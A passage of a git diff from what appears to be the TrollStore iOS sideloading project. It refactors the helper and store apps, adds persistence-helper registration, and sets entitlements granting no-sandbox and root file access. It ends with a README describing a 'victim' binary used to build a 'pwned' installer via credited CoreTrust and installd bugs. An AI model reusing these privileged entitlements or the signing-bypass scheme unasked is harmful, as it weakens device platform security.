a/Installer/TrollInstaller2/Resources/LaunchImage-800-667h@2x.png b/TrollHelper/Resources/LaunchImage-800-667h@2x.png similarity index 100% rename from Installer/TrollInstaller2/Resources/LaunchImage-800-667h@2x.png rename to TrollHelper/Resources/LaunchImage-800-667h@2x.png diff --git a/Installer/TrollInstaller2/Resources/LaunchImage-800-Landscape-736h@3x.png b/TrollHelper/Resources/LaunchImage-800-Landscape-736h@3x.png similarity index 100% rename from Installer/TrollInstaller2/Resources/LaunchImage-800-Landscape-736h@3x.png rename to TrollHelper/Resources/LaunchImage-800-Landscape-736h@3x.png diff --git a/Installer/TrollInstaller2/Resources/LaunchImage-800-Portrait-736h@3x.png b/TrollHelper/Resources/LaunchImage-800-Portrait-736h@3x.png similarity index 100% rename from Installer/TrollInstaller2/Resources/LaunchImage-800-Portrait-736h@3x.png rename to TrollHelper/Resources/LaunchImage-800-Portrait-736h@3x.png diff --git a/Installer/TrollInstaller2/Resources/LaunchImage.png b/TrollHelper/Resources/LaunchImage.png similarity index 100% rename from Installer/TrollInstaller2/Resources/LaunchImage.png rename to TrollHelper/Resources/LaunchImage.png diff --git a/Installer/TrollInstaller2/Resources/LaunchImage@2x.png b/TrollHelper/Resources/LaunchImage@2x.png similarity index 100% rename from Installer/TrollInstaller2/Resources/LaunchImage@2x.png rename to TrollHelper/Resources/LaunchImage@2x.png diff --git a/PersistenceHelper/TSPHAppDelegate.h b/TrollHelper/TSHAppDelegateNoScene.h similarity index 66% rename from PersistenceHelper/TSPHAppDelegate.h rename to TrollHelper/TSHAppDelegateNoScene.h index acee601..18cdb12 100644 --- a/PersistenceHelper/TSPHAppDelegate.h +++ b/TrollHelper/TSHAppDelegateNoScene.h @@ -1,8 +1,6 @@ #import -@interface TSPHAppDelegate : UIResponder - +@interface TSHAppDelegateNoScene : UIResponder @property (nonatomic, strong) UIWindow *window; @property (nonatomic, strong) UINavigationController *rootViewController; - -@end +@end \ No newline at end of file diff --git a/PersistenceHelper/TSPHAppDelegate.m b/TrollHelper/TSHAppDelegateNoScene.m similarity index 68% rename from PersistenceHelper/TSPHAppDelegate.m rename to TrollHelper/TSHAppDelegateNoScene.m index ec4ff62..8bda7ff 100644 --- a/PersistenceHelper/TSPHAppDelegate.m +++ b/TrollHelper/TSHAppDelegateNoScene.m @@ -1,11 +1,11 @@ -#import "TSPHAppDelegate.h" -#import "TSPHRootViewController.h" +#import "TSHAppDelegateNoScene.h" +#import "TSHRootViewController.h" -@implementation TSPHAppDelegate +@implementation TSHAppDelegateNoScene - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { _window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds]; - _rootViewController = [[UINavigationController alloc] initWithRootViewController:[[TSPHRootViewController alloc] init]]; + _rootViewController = [[UINavigationController alloc] initWithRootViewController:[[TSHRootViewController alloc] init]]; _window.rootViewController = _rootViewController; [_window makeKeyAndVisible]; return YES; diff --git a/TrollHelper/TSHAppDelegateWithScene.h b/TrollHelper/TSHAppDelegateWithScene.h new file mode 100644 index 0000000..acbe6b7 --- /dev/null +++ b/TrollHelper/TSHAppDelegateWithScene.h @@ -0,0 +1,6 @@ + +#import + +@interface TSHAppDelegateWithScene : UIResponder + +@end \ No newline at end of file diff --git a/Installer/TrollInstaller2/TSI2AppDelegateWithScene.m b/TrollHelper/TSHAppDelegateWithScene.m similarity index 92% rename from Installer/TrollInstaller2/TSI2AppDelegateWithScene.m rename to TrollHelper/TSHAppDelegateWithScene.m index 60b1c0b..dd5c933 100644 --- a/Installer/TrollInstaller2/TSI2AppDelegateWithScene.m +++ b/TrollHelper/TSHAppDelegateWithScene.m @@ -1,6 +1,6 @@ -#import "TSI2AppDelegateWithScene.h" +#import "TSHAppDelegateWithScene.h" -@implementation TSI2AppDelegateWithScene +@implementation TSHAppDelegateWithScene - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { return YES; diff --git a/TrollHelper/TSHRootViewController.h b/TrollHelper/TSHRootViewController.h new file mode 100644 index 0000000..64d0a3a --- /dev/null +++ b/TrollHelper/TSHRootViewController.h @@ -0,0 +1,7 @@ +#import + +@interface TSHRootViewController : TSListControllerShared +{ + NSString* _newerVersion; +} +@end diff --git a/PersistenceHelper/TSPHRootViewController.m b/TrollHelper/TSHRootViewController.m similarity index 55% rename from PersistenceHelper/TSPHRootViewController.m rename to TrollHelper/TSHRootViewController.m index 6dc1c80..6f4edab 100644 --- a/PersistenceHelper/TSPHRootViewController.m +++ b/TrollHelper/TSHRootViewController.m @@ -1,8 +1,7 @@ -#import "TSPHRootViewController.h" -#import "../Helper/Shared.h" -#import "../Store/TSUtil.h" +#import "TSHRootViewController.h" +#import -@implementation TSPHRootViewController +@implementation TSHRootViewController - (BOOL)isTrollStore { @@ -35,6 +34,12 @@ { _specifiers = [NSMutableArray new]; + #ifdef EMBEDDED_ROOT_HELPER + NSString* credits = @"Powered by Fugu15 CoreTrust & installd bugs, thanks to @LinusHenze\n\n© 2022 Lars Fröder (opa334)"; + #else + NSString* credits = @"Powered by Fugu15 CoreTrust bug, thanks to @LinusHenze\n\n© 2022 Lars Fröder (opa334)"; + #endif + PSSpecifier* infoGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; infoGroupSpecifier.name = @"Info"; [_specifiers addObject:infoGroupSpecifier]; @@ -69,9 +74,13 @@ [_specifiers addObject:updateTrollStoreSpecifier]; } + PSSpecifier* lastGroupSpecifier; + PSSpecifier* utilitiesGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; [_specifiers addObject:utilitiesGroupSpecifier]; + lastGroupSpecifier = utilitiesGroupSpecifier; + if(isInstalled) { PSSpecifier* refreshAppRegistrationsSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Refresh App Registrations" @@ -114,9 +123,14 @@ [_specifiers addObject:installTrollStoreSpecifier]; } - if(![NSBundle.mainBundle.bundleIdentifier hasPrefix:@"com.opa334."]) + NSString* executableName = NSBundle.mainBundle.bundleURL.lastPathComponent; + NSString* backupExecutableName = [executableName stringByAppendingString:@"_TROLLSTORE_BACKUP"]; + NSString* backupPath = [[NSBundle.mainBundle.bundleURL.path stringByDeletingLastPathComponent] stringByAppendingPathComponent:backupExecutableName]; + if([[NSFileManager defaultManager] fileExistsAtPath:backupPath]) { - [_specifiers addObject:[PSSpecifier emptyGroupSpecifier]]; + PSSpecifier* uninstallHelperGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + [_specifiers addObject:uninstallHelperGroupSpecifier]; + lastGroupSpecifier = uninstallHelperGroupSpecifier; PSSpecifier* uninstallPersistenceHelperSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Uninstall Persistence Helper" target:self @@ -131,6 +145,61 @@ uninstallPersistenceHelperSpecifier.buttonAction = @selector(uninstallPersistenceHelperPressed); [_specifiers addObject:uninstallPersistenceHelperSpecifier]; } + + #ifdef EMBEDDED_ROOT_HELPER + LSApplicationProxy* persistenceHelperProxy = findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE_ALL); + BOOL isRegistered = [persistenceHelperProxy.bundleIdentifier isEqualToString:NSBundle.mainBundle.bundleIdentifier]; + + if((isRegistered || !persistenceHelperProxy) && ![[NSFileManager defaultManager] fileExistsAtPath:@"/Applications/TrollStorePersistenceHelper.app"]) + { + PSSpecifier* registerUnregisterGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + lastGroupSpecifier = nil; + + NSString* bottomText; + PSSpecifier* registerUnregisterSpecifier; + + if(isRegistered) + { + bottomText = @"This app is registered as the TrollStore persistence helper and can be used to fix TrollStore app registrations in case they revert back to \"User\" state and the apps say they're unavailable."; + registerUnregisterSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Unregister Persistence Helper" + target:self + set:nil + get:nil + detail:nil + cell:PSButtonCell + edit:nil]; + registerUnregisterSpecifier.identifier = @"registerUnregisterSpecifier"; + [registerUnregisterSpecifier setProperty:@YES forKey:@"enabled"]; + [registerUnregisterSpecifier setProperty:NSClassFromString(@"PSDeleteButtonCell") forKey:@"cellClass"]; + registerUnregisterSpecifier.buttonAction = @selector(unregisterPersistenceHelperPressed); + } + else if(!persistenceHelperProxy) + { + bottomText = @"If you want to use this app as the TrollStore persistence helper, you can register it here."; + registerUnregisterSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Register Persistence Helper" + target:self + set:nil + get:nil + detail:nil + cell:PSButtonCell + edit:nil]; + registerUnregisterSpecifier.identifier = @"registerUnregisterSpecifier"; + [registerUnregisterSpecifier setProperty:@YES forKey:@"enabled"]; + registerUnregisterSpecifier.buttonAction = @selector(registerPersistenceHelperPressed); + } + + [registerUnregisterGroupSpecifier setProperty:[NSString stringWithFormat:@"%@\n\n%@", bottomText, credits] forKey:@"footerText"]; + lastGroupSpecifier = nil; + + [_specifiers addObject:registerUnregisterGroupSpecifier]; + [_specifiers addObject:registerUnregisterSpecifier]; + } + #endif + + if(lastGroupSpecifier) + { + [lastGroupSpecifier setProperty:credits forKey:@"footerText"]; + } } [(UINavigationItem *)self.navigationItem setTitle:@"TrollStore Helper"]; @@ -156,4 +225,23 @@ [super handleUninstallation]; } +- (void)registerPersistenceHelperPressed +{ + int ret = spawnRoot(rootHelperPath(), @[@"register-user-persistence-helper", NSBundle.mainBundle.bundleIdentifier], nil, nil); + NSLog(@"registerPersistenceHelperPressed -> %d", ret); + if(ret == 0) + { + [self reloadSpecifiers]; + } +} + +- (void)unregisterPersistenceHelperPressed +{ + int ret = spawnRoot(rootHelperPath(), @[@"uninstall-persistence-helper"], nil, nil); + if(ret == 0) + { + [self reloadSpecifiers]; + } +} + @end diff --git a/Installer/TrollInstaller2/TSI2SceneDelegate.h b/TrollHelper/TSHSceneDelegate.h similarity index 67% rename from Installer/TrollInstaller2/TSI2SceneDelegate.h rename to TrollHelper/TSHSceneDelegate.h index 6e28497..9839527 100644 --- a/Installer/TrollInstaller2/TSI2SceneDelegate.h +++ b/TrollHelper/TSHSceneDelegate.h @@ -1,6 +1,6 @@ #import -@interface TSI2SceneDelegate : UIResponder +@interface TSHSceneDelegate : UIResponder @property (strong, nonatomic) UIWindow * window; @property (nonatomic, strong) UINavigationController *rootViewController; @end \ No newline at end of file diff --git a/Installer/TrollInstaller2/TSI2SceneDelegate.m b/TrollHelper/TSHSceneDelegate.m similarity index 90% rename from Installer/TrollInstaller2/TSI2SceneDelegate.m rename to TrollHelper/TSHSceneDelegate.m index 541beb7..f13a1be 100644 --- a/Installer/TrollInstaller2/TSI2SceneDelegate.m +++ b/TrollHelper/TSHSceneDelegate.m @@ -1,17 +1,16 @@ -#import "TSI2SceneDelegate.h" -#import "TSI2RootViewController.h" +#import "TSHSceneDelegate.h" +#import "TSHRootViewController.h" -@implementation TSI2SceneDelegate +@implementation TSHSceneDelegate - (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions { // Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`. // If using a storyboard, the `window` property will automatically be initialized and attached to the scene. // This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead). - - NSLog(@"scene:%@ willConnectToSession:%@ options:%@", scene, session, connectionOptions); + UIWindowScene* windowScene = (UIWindowScene*)scene; _window = [[UIWindow alloc] initWithWindowScene:windowScene]; - _rootViewController = [[UINavigationController alloc] initWithRootViewController:[[TSI2RootViewController alloc] init]]; + _rootViewController = [[UINavigationController alloc] initWithRootViewController:[[TSHRootViewController alloc] init]]; _window.rootViewController = _rootViewController; [_window makeKeyAndVisible]; } diff --git a/PersistenceHelper/control b/TrollHelper/control similarity index 93% rename from PersistenceHelper/control rename to TrollHelper/control index 5bb558d..a0ac732 100644 --- a/PersistenceHelper/control +++ b/TrollHelper/control @@ -1,6 +1,6 @@ Package: com.opa334.trollstorehelper Name: TrollStore Helper -Version: 1.1.2 +Version: 1.2 Architecture: iphoneos-arm Description: Helper utility to install and manage TrollStore! Maintainer: opa334 diff --git a/Installer/TrollInstaller2/entitlements.plist b/TrollHelper/entitlements.plist similarity index 94% rename from Installer/TrollInstaller2/entitlements.plist rename to TrollHelper/entitlements.plist index d61c1ed..687e38b 100644 --- a/Installer/TrollInstaller2/entitlements.plist +++ b/TrollHelper/entitlements.plist @@ -2,24 +2,24 @@ + application-identifier + com.opa334.TrollStore platform-application - com.apple.private.security.no-sandbox - - com.apple.private.persona-mgmt - com.apple.security.exception.files.absolute-path.read-write / + com.apple.private.security.no-sandbox + + com.apple.private.persona-mgmt + com.apple.private.security.container-manager com.apple.private.coreservices.canmaplsdatabase com.apple.lsapplicationworkspace.rebuildappdatabases - com.apple.private.security.storage.AppBundles - com.apple.private.MobileContainerManager.allowed com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled @@ -28,10 +28,6 @@ com.apple.private.uninstall.deletion - com.apple.backboardd.launchapplications - - com.apple.multitasking.termination - com.apple.CommCenter.fine-grained cellular-plan @@ -39,5 +35,11 @@ data-allowed-write preferences-write + com.apple.private.security.storage.AppBundles + + com.apple.backboardd.launchapplications + + com.apple.multitasking.termination + - + \ No newline at end of file diff --git a/Installer/TrollInstaller2/main.m b/TrollHelper/main.m similarity index 75% rename from Installer/TrollInstaller2/main.m rename to TrollHelper/main.m index b22f085..9a408ab 100644 --- a/Installer/TrollInstaller2/main.m +++ b/TrollHelper/main.m @@ -1,12 +1,10 @@ #import -#import "TSI2AppDelegateNoScene.h" -#import "TSI2AppDelegateWithScene.h" -#import "TSI2SceneDelegate.h" -#import "../../Store/TSUtil.h" +#import "TSHAppDelegateNoScene.h" +#import "TSHAppDelegateWithScene.h" +#import "TSHSceneDelegate.h" +#import #import -extern int rootHelperMain(int argc, char *argv[], char *envp[]); - BOOL sceneDelegateFix(void) { NSString* sceneDelegateClassName = nil; @@ -59,7 +57,7 @@ BOOL sceneDelegateFix(void) if(sceneDelegateClassName && [sceneDelegateClassName isKindOfClass:NSString.class]) { - Class newClass = objc_allocateClassPair([TSI2SceneDelegate class], sceneDelegateClassName.UTF8String, 0); + Class newClass = objc_allocateClassPair([TSHSceneDelegate class], sceneDelegateClassName.UTF8String, 0); objc_registerClassPair(newClass); return YES; } @@ -69,24 +67,24 @@ BOOL sceneDelegateFix(void) int main(int argc, char *argv[], char *envp[]) { @autoreleasepool { + #ifdef EMBEDDED_ROOT_HELPER + extern int rootHelperMain(int argc, char *argv[], char *envp[]); if(getuid() == 0) { - // I got this idea while taking a shit + // I got this idea while taking a dump // Don't judge return rootHelperMain(argc, argv, envp); } + #endif + + chineseWifiFixup(); + if(sceneDelegateFix()) + { + return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSHAppDelegateWithScene.class)); + } else { - chineseWifiFixup(); - BOOL usesSceneDelegate = sceneDelegateFix(); - if(usesSceneDelegate) - { - return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSI2AppDelegateWithScene.class)); - } - else - { - return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSI2AppDelegateNoScene.class)); - } + return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSHAppDelegateNoScene.class)); } } } diff --git a/Store/Makefile b/TrollStore/Makefile similarity index 62% rename from Store/Makefile rename to TrollStore/Makefile index 19b0dde..9ddbc4a 100644 --- a/Store/Makefile +++ b/TrollStore/Makefile @@ -5,10 +5,10 @@ include $(THEOS)/makefiles/common.mk APPLICATION_NAME = TrollStore -TrollStore_FILES = $(wildcard *.m) ../Helper/Shared.m +TrollStore_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m) TrollStore_FRAMEWORKS = UIKit CoreGraphics CoreServices TrollStore_PRIVATE_FRAMEWORKS = Preferences -TrollStore_CFLAGS = -fobjc-arc -TrollStore_CODESIGN_FLAGS = -Sentitlements.plist +TrollStore_CFLAGS = -fobjc-arc -I../Shared +TrollStore_CODESIGN_FLAGS = -Sentitlements.plist -K../cert.p12 include $(THEOS_MAKE_PATH)/application.mk diff --git a/Store/Resources/AppIcon29x29.png b/TrollStore/Resources/AppIcon29x29.png similarity index 100% rename from Store/Resources/AppIcon29x29.png rename to TrollStore/Resources/AppIcon29x29.png diff --git a/Store/Resources/AppIcon29x29@2x.png b/TrollStore/Resources/AppIcon29x29@2x.png similarity index 100% rename from Store/Resources/AppIcon29x29@2x.png rename to TrollStore/Resources/AppIcon29x29@2x.png diff --git a/Store/Resources/AppIcon29x29@3x.png b/TrollStore/Resources/AppIcon29x29@3x.png similarity index 100% rename from Store/Resources/AppIcon29x29@3x.png rename to TrollStore/Resources/AppIcon29x29@3x.png diff --git a/Store/Resources/AppIcon40x40.png b/TrollStore/Resources/AppIcon40x40.png similarity index 100% rename from Store/Resources/AppIcon40x40.png rename to TrollStore/Resources/AppIcon40x40.png diff --git a/Store/Resources/AppIcon40x40@2x.png b/TrollStore/Resources/AppIcon40x40@2x.png similarity index 100% rename from Store/Resources/AppIcon40x40@2x.png rename to TrollStore/Resources/AppIcon40x40@2x.png diff --git a/Store/Resources/AppIcon40x40@3x.png b/TrollStore/Resources/AppIcon40x40@3x.png similarity index 100% rename from Store/Resources/AppIcon40x40@3x.png rename to TrollStore/Resources/AppIcon40x40@3x.png diff --git a/Store/Resources/AppIcon50x50.png b/TrollStore/Resources/AppIcon50x50.png similarity index 100% rename from Store/Resources/AppIcon50x50.png rename to TrollStore/Resources/AppIcon50x50.png diff --git a/Store/Resources/AppIcon50x50@2x.png b/TrollStore/Resources/AppIcon50x50@2x.png similarity index 100% rename from Store/Resources/AppIcon50x50@2x.png rename to TrollStore/Resources/AppIcon50x50@2x.png diff --git a/Store/Resources/AppIcon57x57.png b/TrollStore/Resources/AppIcon57x57.png similarity index 100% rename from Store/Resources/AppIcon57x57.png rename to TrollStore/Resources/AppIcon57x57.png diff --git a/Store/Resources/AppIcon57x57@2x.png b/TrollStore/Resources/AppIcon57x57@2x.png similarity index 100% rename from Store/Resources/AppIcon57x57@2x.png rename to TrollStore/Resources/AppIcon57x57@2x.png diff --git a/Store/Resources/AppIcon57x57@3x.png b/TrollStore/Resources/AppIcon57x57@3x.png similarity index 100% rename from Store/Resources/AppIcon57x57@3x.png rename to TrollStore/Resources/AppIcon57x57@3x.png diff --git a/Store/Resources/AppIcon60x60.png b/TrollStore/Resources/AppIcon60x60.png similarity index 100% rename from Store/Resources/AppIcon60x60.png rename to TrollStore/Resources/AppIcon60x60.png diff --git a/Store/Resources/AppIcon60x60@2x.png b/TrollStore/Resources/AppIcon60x60@2x.png similarity index 100% rename from Store/Resources/AppIcon60x60@2x.png rename to TrollStore/Resources/AppIcon60x60@2x.png diff --git a/Store/Resources/AppIcon60x60@3x.png b/TrollStore/Resources/AppIcon60x60@3x.png similarity index 100% rename from Store/Resources/AppIcon60x60@3x.png rename to TrollStore/Resources/AppIcon60x60@3x.png diff --git a/Store/Resources/AppIcon72x72.png b/TrollStore/Resources/AppIcon72x72.png similarity index 100% rename from Store/Resources/AppIcon72x72.png rename to TrollStore/Resources/AppIcon72x72.png diff --git a/Store/Resources/AppIcon72x72@2x.png b/TrollStore/Resources/AppIcon72x72@2x.png similarity index 100% rename from Store/Resources/AppIcon72x72@2x.png rename to TrollStore/Resources/AppIcon72x72@2x.png diff --git a/Store/Resources/AppIcon76x76.png b/TrollStore/Resources/AppIcon76x76.png similarity index 100% rename from Store/Resources/AppIcon76x76.png rename to TrollStore/Resources/AppIcon76x76.png diff --git a/Store/Resources/AppIcon76x76@2x.png b/TrollStore/Resources/AppIcon76x76@2x.png similarity index 100% rename from Store/Resources/AppIcon76x76@2x.png rename to TrollStore/Resources/AppIcon76x76@2x.png diff --git a/Store/Resources/Info.plist b/TrollStore/Resources/Info.plist similarity index 99% rename from Store/Resources/Info.plist rename to TrollStore/Resources/Info.plist index e5b1842..e1ab217 100644 --- a/Store/Resources/Info.plist +++ b/TrollStore/Resources/Info.plist @@ -50,7 +50,7 @@ iPhoneOS CFBundleVersion - 1.1.2 + 1.2 LSRequiresIPhoneOS UIDeviceFamily diff --git a/PersistenceHelper/Resources/LaunchImage-700-568h@2x.png b/TrollStore/Resources/LaunchImage-700-568h@2x.png similarity index 100% rename from PersistenceHelper/Resources/LaunchImage-700-568h@2x.png rename to TrollStore/Resources/LaunchImage-700-568h@2x.png diff --git a/PersistenceHelper/Resources/LaunchImage-700-Landscape@2x~ipad.png b/TrollStore/Resources/LaunchImage-700-Landscape@2x~ipad.png similarity index 100% rename from PersistenceHelper/Resources/LaunchImage-700-Landscape@2x~ipad.png rename to TrollStore/Resources/LaunchImage-700-Landscape@2x~ipad.png diff --git a/PersistenceHelper/Resources/LaunchImage-700-Landscape~ipad.png b/TrollStore/Resources/LaunchImage-700-Landscape~ipad.png similarity index 100% rename from PersistenceHelper/Resources/LaunchImage-700-Landscape~ipad.png rename to TrollStore/Resources/LaunchImage-700-Landscape~ipad.png diff --git a/PersistenceHelper/Resources/LaunchImage-700-Portrait@2x~ipad.png b/TrollStore/Resources/LaunchImage-700-Portrait@2x~ipad.png similarity index 100% rename from PersistenceHelper/Resources/LaunchImage-700-Portrait@2x~ipad.png rename to TrollStore/Resources/LaunchImage-700-Portrait@2x~ipad.png diff --git a/PersistenceHelper/Resources/LaunchImage-700-Portrait~ipad.png b/TrollStore/Resources/LaunchImage-700-Portrait~ipad.png similarity index 100% rename from PersistenceHelper/Resources/LaunchImage-700-Portrait~ipad.png rename to TrollStore/Resources/LaunchImage-700-Portrait~ipad.png diff --git a/PersistenceHelper/Resources/LaunchImage-800-667h@2x.png b/TrollStore/Resources/LaunchImage-800-667h@2x.png similarity index 100% rename from PersistenceHelper/Resources/LaunchImage-800-667h@2x.png rename to TrollStore/Resources/LaunchImage-800-667h@2x.png diff --git a/PersistenceHelper/Resources/LaunchImage-800-Landscape-736h@3x.png b/TrollStore/Resources/LaunchImage-800-Landscape-736h@3x.png similarity index 100% rename from PersistenceHelper/Resources/LaunchImage-800-Landscape-736h@3x.png rename to TrollStore/Resources/LaunchImage-800-Landscape-736h@3x.png diff --git a/PersistenceHelper/Resources/LaunchImage-800-Portrait-736h@3x.png b/TrollStore/Resources/LaunchImage-800-Portrait-736h@3x.png similarity index 100% rename from PersistenceHelper/Resources/LaunchImage-800-Portrait-736h@3x.png rename to TrollStore/Resources/LaunchImage-800-Portrait-736h@3x.png diff --git a/PersistenceHelper/Resources/LaunchImage.png b/TrollStore/Resources/LaunchImage.png similarity index 100% rename from PersistenceHelper/Resources/LaunchImage.png rename to TrollStore/Resources/LaunchImage.png diff --git a/PersistenceHelper/Resources/LaunchImage@2x.png b/TrollStore/Resources/LaunchImage@2x.png similarity index 100% rename from PersistenceHelper/Resources/LaunchImage@2x.png rename to TrollStore/Resources/LaunchImage@2x.png diff --git a/Store/Resources/fallback.entitlements b/TrollStore/Resources/fallback.entitlements similarity index 100% rename from Store/Resources/fallback.entitlements rename to TrollStore/Resources/fallback.entitlements diff --git a/Store/TSAppDelegate.h b/TrollStore/TSAppDelegate.h similarity index 100% rename from Store/TSAppDelegate.h rename to TrollStore/TSAppDelegate.h diff --git a/Store/TSAppDelegate.m b/TrollStore/TSAppDelegate.m similarity index 100% rename from Store/TSAppDelegate.m rename to TrollStore/TSAppDelegate.m diff --git a/Store/TSAppTableViewController.h b/TrollStore/TSAppTableViewController.h similarity index 100% rename from Store/TSAppTableViewController.h rename to TrollStore/TSAppTableViewController.h diff --git a/Store/TSAppTableViewController.m b/TrollStore/TSAppTableViewController.m similarity index 100% rename from Store/TSAppTableViewController.m rename to TrollStore/TSAppTableViewController.m diff --git a/Store/TSApplicationsManager.h b/TrollStore/TSApplicationsManager.h similarity index 100% rename from Store/TSApplicationsManager.h rename to TrollStore/TSApplicationsManager.h diff --git a/Store/TSApplicationsManager.m b/TrollStore/TSApplicationsManager.m similarity index 92% rename from Store/TSApplicationsManager.m rename to TrollStore/TSApplicationsManager.m index fb67dfe..fa5c36a 100644 --- a/Store/TSApplicationsManager.m +++ b/TrollStore/TSApplicationsManager.m @@ -1,6 +1,5 @@ #import "TSApplicationsManager.h" -#import "TSUtil.h" -#import "../Helper/Shared.h" +#import #define TrollStoreErrorDomain @"TrollStoreErrorDomain" @@ -125,11 +124,11 @@ int ret; if(force) { - ret = spawnRoot(helperPath(), @[@"install", pathToIpa, @"force"], nil, logOut); + ret = spawnRoot(rootHelperPath(), @[@"install", pathToIpa, @"force"], nil, logOut); } else { - ret = spawnRoot(helperPath(), @[@"install", pathToIpa], nil, logOut); + ret = spawnRoot(rootHelperPath(), @[@"install", pathToIpa], nil, logOut); } [[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil]; return ret; @@ -143,7 +142,7 @@ - (int)uninstallApp:(NSString*)appId { if(!appId) return -200; - int ret = spawnRoot(helperPath(), @[@"uninstall", appId], nil, nil); + int ret = spawnRoot(rootHelperPath(), @[@"uninstall", appId], nil, nil); [[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil]; return ret; } @@ -151,7 +150,7 @@ - (int)uninstallAppByPath:(NSString*)path { if(!path) return -200; - int ret = spawnRoot(helperPath(), @[@"uninstall-path", path], nil, nil); + int ret = spawnRoot(rootHelperPath(), @[@"uninstall-path", path], nil, nil); [[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil]; return ret; } @@ -164,7 +163,7 @@ /*- (int)detachFromApp:(NSString*)appId { if(!appId) return -200; - int ret = spawnRoot(helperPath(), @[@"detach", appId], nil, nil); + int ret = spawnRoot(rootHelperPath(), @[@"detach", appId], nil, nil); [[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil]; return ret; }*/ diff --git a/Store/TSRootViewController.h b/TrollStore/TSRootViewController.h similarity index 100% rename from Store/TSRootViewController.h rename to TrollStore/TSRootViewController.h diff --git a/Store/TSRootViewController.m b/TrollStore/TSRootViewController.m similarity index 100% rename from Store/TSRootViewController.m rename to TrollStore/TSRootViewController.m diff --git a/Store/TSSceneDelegate.h b/TrollStore/TSSceneDelegate.h similarity index 100% rename from Store/TSSceneDelegate.h rename to TrollStore/TSSceneDelegate.h diff --git a/Store/TSSceneDelegate.m b/TrollStore/TSSceneDelegate.m similarity index 98% rename from Store/TSSceneDelegate.m rename to TrollStore/TSSceneDelegate.m index f130dfc..d7c55ae 100644 --- a/Store/TSSceneDelegate.m +++ b/TrollStore/TSSceneDelegate.m @@ -117,7 +117,7 @@ { // Update TrollStore itself NSLog(@"Updating TrollStore..."); - int ret = spawnRoot(helperPath(), @[@"install-trollstore", url.path], nil, nil); + int ret = spawnRoot(rootHelperPath(), @[@"install-trollstore", url.path], nil, nil); doneBlock(ret == 0); NSLog(@"Updated TrollStore!"); } diff --git a/Store/TSSettingsListController.h b/TrollStore/TSSettingsListController.h similarity index 100% rename from Store/TSSettingsListController.h rename to TrollStore/TSSettingsListController.h diff --git a/Store/TSSettingsListController.m b/TrollStore/TSSettingsListController.m similarity index 97% rename from Store/TSSettingsListController.m rename to TrollStore/TSSettingsListController.m index 9b2d2b0..6bc00ad 100644 --- a/Store/TSSettingsListController.m +++ b/TrollStore/TSSettingsListController.m @@ -1,8 +1,6 @@ #import "TSSettingsListController.h" -#import "TSUtil.h" +#import #import -#import "../Helper/CoreServices.h" -#import "../Helper/Shared.h" @implementation TSSettingsListController @@ -147,7 +145,7 @@ } else { - LSApplicationProxy* persistenceApp = findPersistenceHelperApp(); + LSApplicationProxy* persistenceApp = findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE_ALL); if(persistenceApp) { NSString* appName = [persistenceApp localizedName]; @@ -261,7 +259,7 @@ } else { - spawnRoot(helperPath(), @[@"install-ldid", location.path], nil, nil); + spawnRoot(rootHelperPath(), @[@"install-ldid", location.path], nil, nil); dispatch_async(dispatch_get_main_queue(), ^ { [self stopActivityWithCompletion:nil]; @@ -296,7 +294,7 @@ { UIAlertAction* installAction = [UIAlertAction actionWithTitle:[appProxy localizedName] style:UIAlertActionStyleDefault handler:^(UIAlertAction* action) { - spawnRoot(helperPath(), @[@"install-persistence-helper", appProxy.bundleIdentifier], nil, nil); + spawnRoot(rootHelperPath(), @[@"install-persistence-helper", appProxy.bundleIdentifier], nil, nil); [self reloadSpecifiers]; }]; @@ -316,7 +314,7 @@ - (void)doTheDashPressed { - spawnRoot(helperPath(), @[@"dash"], nil, nil); + spawnRoot(rootHelperPath(), @[@"dash"], nil, nil); } @end \ No newline at end of file diff --git a/Store/control b/TrollStore/control similarity index 91% rename from Store/control rename to TrollStore/control index 49b00f6..8ea5828 100644 --- a/Store/control +++ b/TrollStore/control @@ -1,6 +1,6 @@ Package: com.opa334.trollstore Name: TrollStore -Version: 1.1.2 +Version: 1.2 Architecture: iphoneos-arm Description: An awesome application! Maintainer: opa334 diff --git a/Store/entitlements.plist b/TrollStore/entitlements.plist similarity index 94% rename from Store/entitlements.plist rename to TrollStore/entitlements.plist index 2ead6ca..f76e005 100644 --- a/Store/entitlements.plist +++ b/TrollStore/entitlements.plist @@ -14,8 +14,6 @@ com.apple.private.persona-mgmt - com.apple.private.security.system-application - com.apple.private.security.container-manager com.apple.private.coreservices.canmaplsdatabase diff --git a/Store/main.m b/TrollStore/main.m similarity index 100% rename from Store/main.m rename to TrollStore/main.m diff --git a/Victim/README.md b/Victim/README.md new file mode 100644 index 0000000..5e0ab41 --- /dev/null +++ b/Victim/README.md @@ -0,0 +1,13 @@ +# Victim Binary and Cert + +In order to support user app installations (works on anything but iOS 14 arm64), TrollStore needs a victim binary that it attaches to any binary installed by it. By default it uses the binary of "Pastebin Mobile", because the dev of that app gave me permission to use that. + +In order to compile a pwned TrollInstaller2 IPA, you need to provide a dev cert with the same team ID as your target app in this directory. + +```bash 